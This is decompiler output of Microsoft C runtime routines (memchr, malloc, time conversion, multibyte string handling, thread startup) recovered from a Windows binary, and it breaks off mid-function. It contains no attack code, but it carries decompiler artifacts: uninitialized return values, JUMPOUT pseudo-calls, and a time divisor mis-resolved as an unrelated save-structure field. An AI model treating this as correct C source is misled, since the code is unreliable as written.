-------------------------------------------------------- lconv *__cdecl localeconv() { return (lconv *)__lconv; } // 610D84: using guessed type char **__lconv; //----- (005787E0) -------------------------------------------------------- void *__cdecl memchr(const void *Buf, int Val, size_t MaxCount) { void *result; // eax@1 const void *v4; // edx@2 int v5; // ebx@2 unsigned __int8 v6; // cl@3 bool v7; // cf@6 char *v8; // eax@6 unsigned __int8 v9; // cl@9 int v10; // ecx@13 unsigned int v11; // ecx@14 unsigned int v12; // ecx@16 result = (void *)MaxCount; if ( MaxCount ) { v4 = Buf; LOBYTE(v5) = Val; while ( (unsigned __int8)v4 & 3 ) { v6 = *(_BYTE *)v4; v4 = (char *)v4 + 1; if ( !((unsigned __int8)Val ^ v6) ) return (char *)v4 - 1; result = (char *)result - 1; if ( !result ) return result; } v7 = (unsigned int)result < 4; v8 = (char *)result - 4; if ( !v7 ) { v5 = 16843009 * (unsigned __int8)Val; do { v10 = v5 ^ *(_DWORD *)v4; v4 = (char *)v4 + 4; if ( ((v10 + 2130640639) ^ ~v10) & 0x81010100 ) { v11 = *((_DWORD *)v4 - 1); LOBYTE(v11) = v5 ^ v11; if ( !(_BYTE)v11 ) return (char *)v4 - 4; BYTE1(v11) ^= v5; if ( !BYTE1(v11) ) return (char *)v4 - 3; v12 = v11 >> 16; if ( !((unsigned __int8)v5 ^ (unsigned __int8)v12) ) return (char *)v4 - 2; if ( !((unsigned __int8)v5 ^ BYTE1(v12)) ) return (char *)v4 - 1; } v7 = (unsigned int)v8 < 4; v8 -= 4; } while ( !v7 ); } result = v8 + 4; if ( result ) { while ( 1 ) { v9 = *(_BYTE *)v4; v4 = (char *)v4 + 1; if ( !((unsigned __int8)v5 ^ v9) ) break; result = (char *)result - 1; if ( !result ) return result; } return (char *)v4 - 1; } } return result; } //----- (00578890) -------------------------------------------------------- void __cdecl strcspn(char *string, char *control) { unsigned int v2; // eax@1 char *v3; // edx@1 char *v4; // esi@4 signed int v5; // ecx@4 int v6; // [sp+0h] [bp-24h]@1 int v7; // [sp+4h] [bp-20h]@1 int v8; // [sp+8h] [bp-1Ch]@1 int v9; // [sp+Ch] [bp-18h]@1 int v10; // [sp+10h] [bp-14h]@1 int v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+18h] [bp-Ch]@1 int v13; // [sp+1Ch] [bp-8h]@1 v2 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; v6 = 0; v3 = control; while ( 1 ) { LOBYTE(v2) = *v3; if ( !*v3 ) break; ++v3; _bittestandset((signed __int32 *)&v6, v2); } v4 = string; v5 = -1; do { ++v5; LOBYTE(v2) = *v4; if ( !*v4 ) break; ++v4; } while ( !_bittest((signed __int32 *)&v6, v2) ); } //----- (005788E0) -------------------------------------------------------- double __cdecl pow(double a1, double a2) { int v2; // eax@1 bool v3; // zf@1 char v4; // [sp+0h] [bp-8h]@0 JUMPOUT(__use_sse2_mathfcns, 0, &_pow_default); v2 = _mm_getcsr() & 0x1F80; v3 = v2 == 8064; if ( v2 == 8064 ) v3 = (v4 & 0x7F) == 127; JUMPOUT(!v3, &_pow_default); JUMPOUT(_pow_pentium4); } // 581989: using guessed type int _pow_pentium4(); // 146D0900: using guessed type int __use_sse2_mathfcns; //----- (00578920) -------------------------------------------------------- void __cdecl _CIpow() { int v0; // eax@1 bool v1; // zf@1 char v2; // [sp+0h] [bp-8h]@0 JUMPOUT(__use_sse2_mathfcns, 0, _CIpow_default); v0 = _mm_getcsr() & 0x1F80; v1 = v0 == 8064; if ( v0 == 8064 ) v1 = (v2 & 0x7F) == 127; JUMPOUT(!v1, _CIpow_default); _CIpow_pentium4(); } // 146D0900: using guessed type int __use_sse2_mathfcns; //----- (0057895B) -------------------------------------------------------- void __cdecl _CIpow_default() { JUMPOUT(&start); } //----- (00578B6A) -------------------------------------------------------- int __cdecl _stricmp(const char *dst, const char *src) { threadlocaleinfostruct *v2; // ebx@1 int result; // eax@4 const char *v4; // esi@5 const char *v5; // edi@5 int v6; // ecx@6 int f; // [sp+4h] [bp-4h]@6 v2 = _getptd()->ptlocinfo; if ( v2 != ___ptlocinfo ) v2 = __updatetlocinfo(); if ( v2->lc_handle[2] ) { v4 = dst; v5 = src; do { f = __tolower_mt(v2, (unsigned __int8)*v4++); v6 = __tolower_mt(v2, (unsigned __int8)*v5++); } while ( f && f == v6 ); result = f - v6; } else { __ascii_stricmp((void *)dst, (void *)src); } return result; } //----- (00578C8A) -------------------------------------------------------- void *__cdecl _heap_alloc(unsigned int size) { SIZE_T v1; // esi@1 void *result; // eax@3 v1 = size; if ( __active_heap != 3 || size > __sbh_threshold ) { if ( !size ) v1 = 1; if ( __active_heap != 1 ) v1 = (v1 + 15) & 0xFFFFFFF0; result = HeapAlloc(_crtheap, 0, v1); } else { _lock(4); __sbh_alloc_block(size); _unlock(4); } return result; } // 146D0914: using guessed type int __sbh_threshold; // 146D0928: using guessed type int __active_heap; //----- (00578D05) -------------------------------------------------------- void *__cdecl _nh_malloc(unsigned int size, int nhFlag) { void *result; // eax@2 if ( size > 0xFFFFFFE0 ) { LABEL_5: result = 0; } else { while ( 1 ) { result = _heap_alloc(size); if ( result ) break; if ( !nhFlag ) break; if ( !_callnewh(size) ) goto LABEL_5; } } return result; } //----- (00578D31) -------------------------------------------------------- void *__cdecl malloc(unsigned int size) { return _nh_malloc(size, _newmode); } //----- (00578D43) -------------------------------------------------------- int __cdecl puts(const char *string) { unsigned int v1; // eax@1 int result; // eax@5 int buffing; // [sp+10h] [bp-24h]@1 _lock_file2(1, &stru_611268); buffing = _stbuf(&stru_611268); v1 = strlen(string); if ( _fwrite_lk(string, 1u, v1, &stru_611268) == v1 ) { --stru_611268._cnt; if ( stru_611268._cnt < 0 ) { _flsbuf(10, &stru_611268); } else { *stru_611268._ptr = 10; ++stru_611268._ptr; } } _ftbuf(buffing, &stru_611268); _unlock_file2(1, &stru_611268); return result; } //----- (00578DE4) -------------------------------------------------------- tm *__cdecl _localtime64(const __int64 *ptime) { signed int v1; // ecx@1 unsigned int v2; // ecx@5 unsigned int v3; // esi@5 tm *v4; // eax@8 tm *v5; // esi@8 tm *v6; // eax@11 unsigned int v7; // edi@13 __int32 v8; // ecx@13 signed __int64 v9; // qax@15 unsigned __int8 v10; // cf@16 __int64 v11; // qax@17 signed __int64 v12; // kr08_8@17 signed __int64 v13; // qax@17 __int64 v14; // qax@19 signed __int64 v15; // kr10_8@19 signed __int64 v16; // qax@19 __int64 v17; // qax@21 int v18; // eax@23 tm *result; // eax@26 __int64 ltime; // [sp+8h] [bp-8h]@8 v1 = *((_DWORD *)ptime + 1); if ( v1 < 0 || v1 > 4096 || v1 >= 4096 && *(_DWORD *)ptime > 0u ) { result = 0; } else { __tzset(); v2 = *((_DWORD *)ptime + 1); v3 = *(_DWORD *)ptime; if ( (v2 & 0x80000000u) != 0 || (signed int)v2 <= 0 && v3 <= 0x3F480 ) { v6 = _gmtime64(ptime); v5 = v6; if ( _daylight && _isindst(v6) ) { ltime = v5->tm_sec - (signed __int64)(_dstbias + _timezone); v5->tm_isdst = 1; v7 = HIDWORD(ltime); v8 = ltime; } else { v7 = (unsigned __int64)(v5->tm_sec - (signed __int64)_timezone) >> 32; v8 = v5->tm_sec - _timezone; ltime = v5->tm_sec - (signed __int64)_timezone; } v9 = (signed __int64)__PAIR__(v7, v8) % 60; v5->tm_sec = (signed __int64)__PAIR__(v7, v8) % 60; if ( (signed int)((signed __int64)__PAIR__(v7, v8) % 60) < 0 ) { v5->tm_sec = v9 + 60; v10 = __CFADD__((_DWORD)ltime, -60); LODWORD(ltime) = ltime - 60; HIDWORD(ltime) = v10 + HIDWORD(ltime) - 1; } v11 = v5->tm_min; v12 = v11 + ltime / 60; LODWORD(ltime) = v11 + ltime / 60; HIDWORD(ltime) = HIDWORD(v12); v13 = v12 % 60; v5->tm_min = v12 % 60; if ( (signed int)(v12 % 60) < 0 ) { v5->tm_min = v13 + 60; v10 = __CFADD__((_DWORD)ltime, -60); LODWORD(ltime) = ltime - 60; HIDWORD(ltime) = v10 + HIDWORD(ltime) - 1; } v14 = v5->tm_hour; v15 = v14 + ltime / 60; LODWORD(ltime) = v14 + ltime / 60; HIDWORD(ltime) = HIDWORD(v15); v16 = v15 % 24; v5->tm_hour = v15 % 24; if ( (signed int)(v15 % 24) < 0 ) { v5->tm_hour = v16 + 24; v10 = __CFADD__((_DWORD)ltime, -24); LODWORD(ltime) = ltime - 24; HIDWORD(ltime) = v10 + HIDWORD(ltime) - 1; } v17 = ltime / 24; ltime = v17; if ( SHIDWORD(v17) <= 0 && SHIDWORD(v17) < 0 ) { v5->tm_wday = (v5->tm_wday + (signed int)v17 + 7) % 7; v5->tm_mday += ltime; v18 = v5->tm_mday; if ( v18 > 0 ) { v5->tm_yday += ltime; } else { --v5->tm_year; v5->tm_mday = v18 + 31; v5->tm_yday = 364; v5->tm_mon = 11; } } } else { ltime = __PAIR__(v2, v3) - _timezone; v4 = _gmtime64(<ime); v5 = v4; if ( _daylight ) { if ( _isindst(v4) ) { ltime -= _dstbias; v5 = _gmtime64(<ime); v5->tm_isdst = 1; } } } result = v5; } return result; } // 578DE4: could not find valid save-restore pair for esi //----- (00578FF2) -------------------------------------------------------- __int64 __usercall make__time64_t(tm *tb, int ultflag) { tm *v2; // edi@1 int v3; // eax@3 int v4; // ecx@5 __int64 v5; // qax@5 unsigned __int8 v6; // cf@5 signed int v7; // esi@9 __int64 v8; // qax@14 tm *v9; // eax@15 int v10; // ecx@16 const void *v11; // esi@22 __int64 result; // qax@22 __int64 tmptm2; // [sp+14h] [bp-14h]@9 __int64 tmptm1; // [sp+1Ch] [bp-Ch]@1 int v15; // [sp+24h] [bp-4h]@14 v2 = tb; tmptm1 = tb->tm_year; if ( tmptm1 < 69 || tmptm1 > 1100 ) return -1i64; v3 = tb->tm_mon; if ( v3 < 0 || v3 > 11 ) { v4 = v3 % 12; v5 = v3 / 12; v6 = __CFADD__((_DWORD)v5, (_DWORD)tmptm1); LODWORD(tmptm1) = v5 + tmptm1; v2->tm_mon = v4; HIDWORD(tmptm1) += HIDWORD(v5) + v6; if ( v4 < 0 ) { v6 = __CFADD__((_DWORD)tmptm1, -1); LODWORD(tmptm1) = tmptm1 - 1; v2->tm_mon = v4 + 12; HIDWORD(tmptm1) = v6 + HIDWORD(tmptm1) - 1; } if ( tmptm1 < 69 || tmptm1 > 1100 ) return -1i64; } v7 = v2->tm_mon; tmptm2 = _days[v7]; if ( !(tmptm1 % 4) && tmptm1 % 100 || !((tmptm1 + 1900) % 400) ) { if ( v7 > 1 ) ++tmptm2; } v8 = (tmptm1 + 299) / 400; LODWORD(v8) = v2->tm_mday; v15 = tmptm2 + 365 * tmptm1 + (tmptm1 - 1) / 4 + v8 + (tmptm1 + 299) / 400 - (tmptm1 - 1) / 100 - 25567; tmptm1 = 60 * (60 * (24 * (tmptm2 + 365 * tmptm1 + (tmptm1 - 1) / 4 + v8 + __PAIR__((unsigned __int64)(signed int)v8 >> 32, (unsigned int)((tmptm1 + 299) / 400)) - (tmptm1 - 1) / 100 - 25567) + v2->tm_hour) + v2->tm_min) + v2->tm_sec; if ( ultflag ) { __tzset(); tmptm1 += _timezone; v9 = _localtime64(&tmptm1); if ( !v9 ) return -1i64; v10 = v2->tm_isdst; if ( v10 <= 0 && (v10 >= 0 || v9->tm_isdst <= 0) ) goto LABEL_22; tmptm1 += _dstbias; v9 = _localtime64(&tmptm1); } else { v9 = _gmtime64(&tmptm1); } if ( v9 ) { LABEL_22: v11 = v9; result = tmptm1; memcpy((void *)v2, v11, 0x24u); return result; } return -1i64; } //----- (00579242) -------------------------------------------------------- __int64 __cdecl _mktime64(tm *tb) { return make__time64_t(tb, 1); } //----- (0057924F) -------------------------------------------------------- char *__cdecl _mbstok(char *string, const char *sepset) { _tiddata *v2; // edi@1 threadmbcinfostruct *v3; // esi@1 char *result; // eax@4 char *v5; // eax@5 char *v6; // eax@7 char *v7; // edi@7 char v8; // al@8 char *v9; // eax@11 int v10; // eax@15 _tiddata *ptd; // [sp+8h] [bp-4h]@1 v2 = _getptd(); v3 = v2->ptmbcinfo; ptd = v2; if ( v3 != ___ptmbcinfo ) v3 = __updatetmbcinfo(); if ( v3->ismbcodepage ) { v5 = string; if ( (string || (v5 = v2->_mtoken) != 0) && (v6 = __mbsspnp_mt(v3, v5, sepset), (v7 = v6) != 0) && (v8 = *v6, *v7) && (!(v3->mbctype[(unsigned __int8)v8 + 1] & 4) || v7[1]) ) { v9 = __mbspbrk_mt(v3, v7, sepset); if ( v9 && *v9 ) { if ( v3->mbctype[(unsigned __int8)*v9 + 1] & 4 ) *v9++ = 0; *v9 = 0; v10 = (int)(v9 + 1); } else { v10 = 0; } ptd->_mtoken = (char *)v10; result = v7; } else { result = 0; } } else { result = strtok(string, sepset); } return result; } //----- (005792FA) -------------------------------------------------------- int __cdecl fscanf(_iobuf *stream, const char *format) { int result; // eax@1 char arglist; // [sp+38h] [bp+10h]@0 _lock_file(stream); _input(stream, format, &arglist); _unlock_file(stream); return result; } //----- (00579344) -------------------------------------------------------- int __cdecl _chdir(const char *path) { int *v1; // edi@1 DWORD v2; // esi@2 void *v3; // esp@3 char v4; // al@6 unsigned int v5; // eax@11 int v7; // [sp+0h] [bp-144h]@3 int *apath; // [sp+Ch] [bp-138h]@3 DWORD r; // [sp+10h] [bp-134h]@2 int memfree; // [sp+14h] [bp-130h]@1 int retval; // [sp+18h] [bp-12Ch]@1 char env_var[4]; // [sp+1Ch] [bp-128h]@9 char abspath[261]; // [sp+20h] [bp-124h]@1 CPPEH_RECORD ms_exc; // [sp+12Ch] [bp-18h]@3 v1 = (int *)abspath; memfree = 0; retval = -1; if ( SetCurrentDirectoryA(path) ) { v2 = GetCurrentDirectoryA(0x105u, abspath); r = v2; if ( (signed int)v2 > 260 ) { v3 = alloca(v2 + 1); ms_exc.old_esp = (DWORD)&v7; v1 = &v7; apath = &v7; ms_exc.disabled = -1; if ( !v2 ) goto LABEL_11; v2 = GetCurrentDirectoryA(v2 + 1, (LPSTR)&v7); } if ( v2 ) { if ( ((v4 = *(_BYTE *)v1, *(_BYTE *)v1 == 92) || v4 == 47) && v4 == *((_BYTE *)v1 + 1) || (env_var[0] = 61, env_var[1] = _mbctoupper(*(_BYTE *)v1), env_var[2] = 58, env_var[3] = 0, SetEnvironmentVariableA(env_var, (LPCSTR)v1)) ) retval = 0; } } LABEL_11: v5 = GetLastError(); _dosmaperr(v5); if ( memfree ) free(v1); return retval; } //----- (00579487) -------------------------------------------------------- __int64 __cdecl _time64(__int64 *timeptr) { unsigned __int64 v1; // ST00_8@1 __int64 result; // qax@1 FT nt_time; // [sp+0h] [bp-8h]@1 GetSystemTimeAsFileTime((LPFILETIME)&nt_time); HIDWORD(v1) = ((nt_time.ft_scalar + 717324288) >> 32) - 27111903; LODWORD(v1) = nt_time.ft_scalar + 717324288; result = v1 / (unsigned int)&wholesaver.ws_savestore[18].esc_skill.buffer[28996]; if ( timeptr ) *timeptr = result; return result; } //----- (005794C3) -------------------------------------------------------- void __cdecl _amsg_exit(int rterrnum) { if ( __error_mode == 1 ) _FF_MSGBANNER(); _NMSG_WRITE(rterrnum); _aexit_rtn(255); JUMPOUT(*(int *)loc_5794E5); } // 5794E5: using guessed type int __cdecl(int rterrnum); // 610DA0: using guessed type int (__cdecl *_aexit_rtn)(_DWORD); // 146D00FC: using guessed type int __error_mode; //----- (005794E8) -------------------------------------------------------- void __cdecl fast_error_exit(int rterrnum) { if ( __error_mode == 1 ) _FF_MSGBANNER(); _NMSG_WRITE(rterrnum); __crtExitProcess(255); } // 146D00FC: using guessed type int __error_mode; //----- (005796E1) -------------------------------------------------------- int __cdecl _mbscmp(const char *s1, const char *s2) { threadmbcinfostruct *v2; // esi@1 int result; // eax@4 const char *v4; // edi@5 unsigned __int16 v5; // ax@6 const char v6; // cl@7 unsigned __int16 v7; // dx@9 unsigned __int16 v8; // cx@10 int v9; // edx@10 const char v10; // dl@11 unsigned __int16 v11; // bx@13 v2 = _getptd()->ptmbcinfo; if ( v2 != ___ptmbcinfo ) v2 = __updatetmbcinfo(); if ( v2->ismbcodepage ) { v4 = s2; while ( 1 ) { v5 = (unsigned __int8)*s1++; if ( v2->mbctype[(unsigned __int8)v5 + 1] & 4 ) { v6 = *s1; if ( *s1 ) { ++s1; HIBYTE(v7) = v5; LOBYTE(v7) = v6; v5 = v7; } else { v5 = 0; } } v8 = (unsigned __int8)*v4; v9 = (unsigned __int8)*v4++; if ( v2->mbctype[v9 + 1] & 4 ) { v10 = *v4; if ( *v4 ) { HIBYTE(v11) = v8; ++v4; LOBYTE(v11) = v10; v8 = v11; } else { v8 = 0; } } if ( v8 != v5 ) break; if ( !v5 ) return 0; } result = v8 < v5 ? 1 : -1; } else { result = strcmp(s1, s2); } return result; } //----- (00579775) -------------------------------------------------------- char *__cdecl fgets(char *string, int count, _iobuf *str) { char *v3; // edi@1 char *result; // eax@2 bool v5; // sf@5 int v6; // eax@6 v3 = string; if ( count > 0 ) { _lock_file(str); do { --count; if ( !count ) break; v5 = str->_cnt-- - 1 < 0; if ( v5 ) v6 = _filbuf(str); else v6 = *str->_ptr++; if ( v6 == -1 ) { if ( v3 == string ) goto done; break; } *v3++ = v6; } while ( (_BYTE)v6 != 10 ); *v3 = 0; done: _unlock_file(str); } else { result = 0; } return result; } //----- (005797FB) -------------------------------------------------------- char *__cdecl _mbsrchr(const char *str, unsigned int c) { char *v2; // esi@1 threadmbcinfostruct *v3; // eax@1 char *result; // eax@4 const char *v5; // edx@5 const char v6; // bl@6 int v7; // ecx@6 bool v8; // zf@10 v2 = 0; v3 = _getptd()->ptmbcinfo; if ( v3 != ___ptmbcinfo ) v3 = __updatetmbcinfo(); if ( !v3->ismbcodepage ) { strrchr((char *)str, c); return result; } v5 = str; do { v6 = *v5; v7 = (unsigned __int8)*v5; if ( v3->mbctype[(unsigned __int8)*v5 + 1] & 4 ) { ++v5; v6 = *v5; if ( *v5 ) { if ( c == ((unsigned __int8)v6 | (v7 << 8)) ) v2 = (char *)(v5 - 1); goto LABEL_14; } v8 = v2 == 0; } else { v8 = c == v7; } if ( v8 ) v2 = (char *)v5; LABEL_14: ++v5; } while ( v6 ); return v2; } //----- (00579866) -------------------------------------------------------- int __cdecl _vsnprintf(char *string, unsigned int count, const char *format, char *ap) { int v4; // edi@1 _iobuf str; // [sp+8h] [bp-20h]@1 str._cnt = count; str._flag = 66; str._base = string; str._ptr = string; v4 = _output(&str, format, ap); if ( string ) { --str._cnt; if ( str._cnt < 0 ) _flsbuf(0, &str); else *str._ptr = 0; } return v4; } //----- (005798BC) -------------------------------------------------------- int __cdecl setvbuf(_iobuf *str, char *buffer, int type, unsigned int size) { int result; // eax@6 int v5; // ecx@7 char *v6; // eax@8 signed int sizea; // [sp+40h] [bp+14h]@7 if ( type != 4 && (size < 2 || size > 0x7FFFFFFF || type && type != 64) ) return -1; sizea = size & 0xFFFFFFFE; _lock_file(str); _flush(str); _freebuf(str); LOWORD(str->_flag) &= 0xC2F3u; v5 = str->_flag; if ( type & 4 ) { str->_flag = v5 | 4; v6 = (char *)&str->_charbuf; sizea = 2; LABEL_14: str->_bufsiz = sizea; str->_base = v6; str->_ptr = v6; str->_cnt = 0; goto done_0; } v6 = buffer; if ( buffer ) { str->_flag = v5 | 0x500; goto LABEL_14; } v6 = (char *)malloc(sizea); if ( v6 ) { LOWORD(str->_flag) |= 0x408u; goto LABEL_14; } ++_cflush; done_0: _unlock_file(str); return result; } // 146D0278: using guessed type int _cflush; //----- (00579998) -------------------------------------------------------- int __cdecl _ungetc_lk(int ch, _iobuf *str) { int v2; // eax@2 char *v3; // eax@10 int v5; // eax@16 if ( ch == -1 || (v2 = str->_flag, !(v2 & 1)) && ((char)v2 >= 0 || v2 & 2) ) return -1; if ( !str->_base ) _getbuf(str); if ( str->_ptr == str->_base ) { if ( str->_cnt ) return -1; ++str->_ptr; } --str->_ptr; v3 = str->_ptr; if ( str->_flag & 0x40 ) { if ( *v3 != (_BYTE)ch ) { str->_ptr = v3 + 1; return -1; } } else { *v3 = ch; } v5 = str->_flag; ++str->_cnt; str->_flag = v5 & 0xFFFFFFEF | 1; return (unsigned __int8)ch; } //----- (00579A04) -------------------------------------------------------- int __cdecl ungetc(int ch, _iobuf *stream) { int result; // eax@1 _lock_file(stream); _ungetc_lk(ch, stream); _unlock_file(stream); return result; } //----- (00579A49) -------------------------------------------------------- int __cdecl fgetpos(_iobuf *stream, __int64 *pos) { __int64 v2; // qax@1 int result; // eax@1 v2 = _ftelli64(stream); *((_DWORD *)pos + 1) = HIDWORD(v2); HIDWORD(v2) = *((_DWORD *)pos + 1) & v2; *(_DWORD *)pos = v2; result = -1; if ( HIDWORD(v2) != -1 ) result = 0; return result; } //----- (00579A6B) -------------------------------------------------------- int __cdecl _fseek_lk(_iobuf *str, int offset, int whence) { int v3; // eax@1 int v4; // edi@2 int v5; // eax@7 int result; // eax@13 v3 = str->_flag; if ( !(v3 & 0x83) || (v4 = whence) != 0 && whence != 1 && whence != 2 ) { *_errno() = 22; result = -1; } else { str->_flag = v3 & 0xFFFFFFEF; if ( whence == 1 ) { offset += _ftell_lk(str); v4 = 0; } _flush(str); v5 = str->_flag; if ( (char)v5 >= 0 ) { if ( v5 & 1 && v5 & 8 ) { if ( !(BYTE1(v5) & 4) ) str->_bufsiz = 512; } } else { str->_flag = v5 & 0xFFFFFFFC; } result = (_lseek(str->_file, offset, v4) != -1) - 1; } return result; } //----- (00579AFA) -------------------------------------------------------- int __cdecl fseek(_iobuf *stream, int offset, int whence) { int result; // eax@1 _lock_file(stream); _fseek_lk(stream, offset, whence); _unlock_file(stream); return result; } //----- (00579B43) -------------------------------------------------------- int __cdecl fsetpos(_iobuf *stream, const __int64 *pos) { return _fseeki64(stream, *pos, 0); } //----- (00579B5B) -------------------------------------------------------- void __cdecl _splitpath(const char *path, char *drive, char *dir, char *fname, char *ext) { const char *v5; // ebx@1 const char *v6; // eax@8 unsigned int v7; // esi@8 const char v8; // cl@9 unsigned int v9; // edi@19 unsigned int v10; // edi@28 int v11; // eax@32 int v12; // eax@36 const char *p; // [sp+Ch] [bp-8h]@8 const char *dot; // [sp+10h] [bp-4h]@1 int last_slash; // [sp+1Ch] [bp+8h]@8 dot = 0; v5 = path; if ( strlen(path) < 1 || path[1] != 58 ) { if ( drive ) *drive = 0; } else { if ( drive ) { _mbsnbcpy(drive, path, 2u); drive[2] = 0; } v5 = path + 2; } last_slash = 0; v6 = v5; p = v5; v7 = 255; if ( !*v5 ) goto LABEL_43; do { v8 = *v6; if ( byte_146D06E1[(unsigned __int8)*v6] & 4 ) { ++v6; } else { if ( v8 == 47 || v8 == 92 ) { last_slash = (int)(v6 + 1); } else { if ( v8 == 46 ) dot = v6; } } ++v6; } while ( *v6 ); p = v6; if ( last_slash ) { if ( dir ) { v9 = last_slash - (_DWORD)v5; if ( (unsigned int)(last_slash - (_DWORD)v5) >= 0xFF ) v9 = 255; _mbsnbcpy(dir, v5, v9); dir[v9] = 0; v6 = p; } v5 = (const char *)last_slash; } else { LABEL_43: if ( dir ) *dir = 0; } if ( dot && dot >= v5 ) { if ( fname ) { v10 = dot - v5; if ( dot - v5 >= 0xFF ) v10 = 255; _mbsnbcpy(fname, v5, v10); fname[v10] = 0; v6 = p; } if ( ext ) { v11 = v6 - dot; if ( (unsigned int)v11 < 0xFF ) v7 = v11; _mbsnbcpy(ext, dot, v7); ext[v7] = 0; } } else { if ( fname ) { v12 = v6 - v5; if ( (unsigned int)v12 < 0xFF ) v7 = v12; _mbsnbcpy(fname, v5, v7); fname[v7] = 0; } if ( ext ) *ext = 0; } } //----- (00579CA3) -------------------------------------------------------- char *__cdecl _getenv_lk(const char *option) { char **v1; // esi@1 char *result; // eax@2 unsigned int v3; // edi@8 v1 = _environ; if ( __env_initialized ) { if ( _environ || _wenviron && !__wtomb_environ() && (v1 = _environ) != 0 ) { if ( option ) { v3 = strlen(option); while ( *v1 ) { if ( strlen(*v1) > v3 && (*v1)[v3] == 61 && !_mbsnbicoll(*v1, option, v3) ) return &(*v1)[v3 + 1]; ++v1; } } } result = 0; } else { result = 0; } return result; } // 146D1958: using guessed type int __env_initialized; //----- (00579D24) -------------------------------------------------------- char *__cdecl getenv(const char *option) { char *result; // eax@1 _lock(7); _getenv_lk(option); _unlock(7); return result; } //----- (00579D63) -------------------------------------------------------- void __cdecl _endthreadex(unsigned int retcode) { _tiddata *v1; // eax@3 if ( _FPmtterm ) _FPmtterm(); v1 = _getptd(); if ( !v1 ) _amsg_exit(16); _freeptd(v1); ExitThread(retcode); } // 610D30: using guessed type int (*_FPmtterm)(void); //----- (00579D94) -------------------------------------------------------- unsigned int __stdcall threadstartex(void *ptd) { void *v1; // esi@1 unsigned int v2; // eax@8 v1 = (void *)gpFlsGetValue(__tlsindex); if ( v1 ) { *((_DWORD *)v1 + 19) = *((_DWORD *)ptd + 19); *((_DWORD *)v1 + 20) = *((_DWORD *)ptd + 20); free(ptd); } else { v1 = ptd; if ( !gpFlsSetValue(__tlsindex, ptd) ) _amsg_exit(16); *(_DWORD *)ptd = GetCurrentThreadId(); } if ( _FPmtinit ) _FPmtinit(); v2 = (*((int (__cdecl **)(_DWORD))v1 + 19))(*((_DWORD *)v1 + 20)); _endthreadex(v2); } // 610D2C: using guessed type int (*_FPmtinit)(void); // 146D0268: using guessed type int (__stdcall *gpFlsGetValue)(_DWORD); // 146D026C: using guessed type int (__stdcall *gpFlsSetValue)(_DWORD, _DWORD); //----- (00579E29) -------------------------------------------------------- unsigned int __cdecl _beginthreadex(void *security, unsigned int stacksize, unsigned int (__stdcall *initialcode)(void *), void *argument, unsigned int createflag, unsigned int *thrdaddr) { unsigned int (__stdcall *v6)(void *); // edi@1 unsigned int v7; // ebx@1 unsigned int result; // eax@2 void *v9; // eax@3 void *v10; // esi@3 void *v11; // eax@4 unsigned int *v12; // eax@4 bool v13; // zf@4 v6 = initialcode; v7 = 0; if ( !initialcode ) { *_errno() = 22; return 0; } v9 = calloc(1u, 0x8Cu); v10 = v9; if ( !v9 ) goto error_return; _initptd((_tiddata *)v9); v11 = argument; *((_DWORD *)v10 + 1) = -1; *((_DWORD *)v10 + 20) = v11; v12 = thrdaddr; v13 = thrdaddr == 0; *((_DWORD *)v10 + 19) = v6; if ( v13 ) v12 = (unsigned int *)&initialcode; result = (unsigned int)CreateThread((LPSECURITY_ATTRIBUTES)security, stacksize, threadstartex, v10, createflag, v12); if ( !result ) { v7 = GetLastError(); error_return: free(v10); if ( v7 ) _dosmaperr(v7); result = 0; } return result; } //----- (00579EB4) -------------------------------------------------------- int __cdecl isalpha(int c) { threadlocaleinfostruct *v1; // eax@1 int result; // eax@4 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); if ( v1->mb_cur_max <= 1 ) result = v1->pctype[c] & 0x103; else result = __isctype_mt(v1, c, 259); return result; } //----- (00579EF3) -------------------------------------------------------- int __cdecl isupper(int c) { threadlocaleinfostruct *v1; // eax@1 int result; // eax@4 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); if ( v1->mb_cur_max <= 1 ) result = v1->pctype[c] & 1; else result = __isctype_mt(v1, c, 1); return result; } //----- (00579F2D) -------------------------------------------------------- int __cdecl islower(int c) { threadlocaleinfostruct *v1; // eax@1 int result; // eax@4 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); if ( v1->mb_cur_max <= 1 ) result = v1->pctype[c] & 2; else result = __isctype_mt(v1, c, 2); return result; } //----- (00579F67) -------------------------------------------------------- int __cdecl isdigit(int c) { threadlocaleinfostruct *v1; // eax@1 int result; // eax@4 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); if ( v1->mb_cur_max <= 1 ) result = v1->pctype[c] & 4; else result = __isctype_mt(v1, c, 4); return result; } //----- (00579FA1) -------------------------------------------------------- int __cdecl isxdigit(int c) { threadlocaleinfostruct *v1; // eax@1 int result; // eax@4 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); if ( v1->mb_cur_max <= 1 ) result = v1->pctype[c] & 0x80; else result = __isctype_mt(v1, c, 128); return result; } //----- (00579FE0) -------------------------------------------------------- int __cdecl isspace(int c) { threadlocaleinfostruct *v1; // eax@1 int result; // eax@4 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); if ( v1->mb_cur_max <= 1 ) result = v1->pctype[c] & 8; else result = __isctype_mt(v1, c, 8); return result; } //----- (0057A01A) -------------------------------------------------------- int __cdecl _mbsicmp(const char *s1, const char *s2) { int v2; // edi@0 threadmbcinfostruct *v3; // esi@1 int result; // eax@4 unsigned __int16 v5; // ax@5 int v6; // edx@5 const char *v7; // ecx@5 int v8; // eax@8 int v9; // ecx@13 int v10; // eax@13 unsigned __int16 v11; // ax@16 int v12; // edx@16 const char *v13; // ecx@16 int v14; // eax@19 int v15; // ecx@24 char szResult[4]; // [sp+4h] [bp-4h]@8 v3 = _getptd()->ptmbcinfo; if ( v3 != ___ptmbcinfo ) v3 = __updatetmbcinfo(); if ( v3->ismbcodepage ) { while ( 1 ) { v5 = (unsigned __int8)*s1; v6 = (unsigned __int8)*s1; v7 = s1++ + 1; if ( v3->mbctype[v6 + 1] & 4 ) { if ( *v7 ) { v8 = __crtLCMapStringA(v3->mblcid, 0x200u, v7 - 1, 2, szResult, 2, v3->mbcodepage, 1); if ( v8 == 1 ) { LOWORD(v2) = (unsigned __int8)szResult[0]; } else 